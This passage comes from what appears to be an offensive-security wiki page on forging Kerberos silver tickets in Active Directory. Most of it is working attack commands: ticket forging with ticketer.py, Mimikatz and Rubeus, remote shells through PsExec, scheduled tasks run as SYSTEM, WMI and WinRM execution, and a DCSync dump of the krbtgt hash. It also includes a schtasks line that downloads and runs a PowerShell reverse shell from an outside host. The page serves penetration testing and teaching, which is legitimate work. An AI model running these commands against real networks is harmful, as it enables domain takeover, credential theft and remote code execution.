Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user**. In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service. The computer accounts reset their passwords every 30 days by default. It also must be taken into account that it is possible to forge tickets using the AES Kerberos keys (AES128 and AES256). To know how to generate an AES key read: [section 4.4 of MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) or the [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372). {% code title="Linux" %} ```bash python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass ``` {% endcode %} In Windows, **Mimikatz** can be used to **craft** the **ticket**. Next, the ticket is **injected** with **Rubeus**, and finally a remote shell can be obtained thanks to **PsExec**. {% code title="Windows" %} ```bash #Create the ticket mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park" #Inject in memory using mimikatz or Rubeus mimikatz.exe "kerberos::ptt ticket.kirbi" .\Rubeus.exe ptt /ticket:ticket.kirbi #Obtain a shell .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` {% endcode %} The **CIFS** service is the one that allows you to **access the file system of the victim**. You can find other services here: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** For example, you can use the **HOST service** to create a _**schtask**_ in a computer. Then you can check if this has worked trying to list the tasks of the victim: `schtasks /S ` or you can use the **HOST and** **RPCSS service** to execute **WMI** queries in a computer, test it doing: `Get-WmiObject -Class win32_operatingsystem -ComputerName ` ### Mitigation Silver ticket events ID (more stealth than golden ticket): * 4624: Account Logon * 4634: Account Logoff * 4672: Admin Logon [**More information about Silver Tickets in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) ## Available Services | Service Type | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

| | Golden Tickets | krbtgt | Using **Rubeus** you may **ask for all** these tickets using the parameter: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ## Abusing Service tickets In the following examples lets imagine that the ticket is retrieved impersonating the administrator account. ### CIFS With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**: {% content-ref url="../ntlm/psexec-and-winexec.md" %} [psexec-and-winexec.md](../ntlm/psexec-and-winexec.md) {% endcontent-ref %} ### HOST With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS With these tickets you can **execute WMI in the victim system**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Find **more information about wmiexec** in the following page: {% content-ref url="../ntlm/wmicexec.md" %} [wmicexec.md](../ntlm/wmicexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) With winrm access over a computer you can **access it** and even get a PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Check the following page to learn **more ways to connect with a remote host using winrm**: {% content-ref url="../ntlm/winrm.md" %} [winrm.md](../ntlm/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Note that **winrm must be active and listening** on the remote computer to access it. {% endhint %} ### LDAP With this privilege you can dump the DC database using **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Learn more about DCSync** in the following page: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} {% hint style="danger" %} If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). {% embed url="https://www.stmcyber.com/careers" %} {% endhint %}
